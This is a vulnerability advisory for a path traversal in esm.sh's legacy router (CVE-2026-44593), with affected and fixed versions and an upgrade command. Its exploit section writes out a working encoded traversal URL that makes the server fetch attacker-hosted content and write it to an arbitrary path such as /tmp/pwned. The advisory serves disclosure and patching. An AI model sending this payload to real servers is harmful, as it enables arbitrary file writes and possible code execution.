github.com/esm-dev/esm.sh
Affected
- introduced
0, fixed0.0.0-20260508100112-1960055e1d53(semver)
Fixed versions
0.0.0-20260508100112-1960055e1d53
Fix
- Fixed version
0.0.0-20260508100112-1960055e1d53go get github.com/esm-dev/[email protected]
Advisory
Also known as: CVE-2026-44593, GO-2026-5071
esm.sh: Legacy Route Path Traversal Can Lead to RCE
Impact
Exploit
The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).
For a URL such as:
http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned
the router concatenates the path components without sanitizing them, producing a storage key like:
legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.
Details
http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned
http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned
which resolves to:
http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md
foo.md from the GitHub repository https://github.com/<attacker>/exp. legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.
Credit Discovery To
splitline (@\_splitline\_) from DEVCORE Research Team
High Basis: The source's own band: HIGH
0, fixed 0.0.0-20260508100112-1960055e1d53 (semver)0.0.0-20260508100112-1960055e1d53
0.0.0-20260508100112-1960055e1d53go get github.com/esm-dev/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0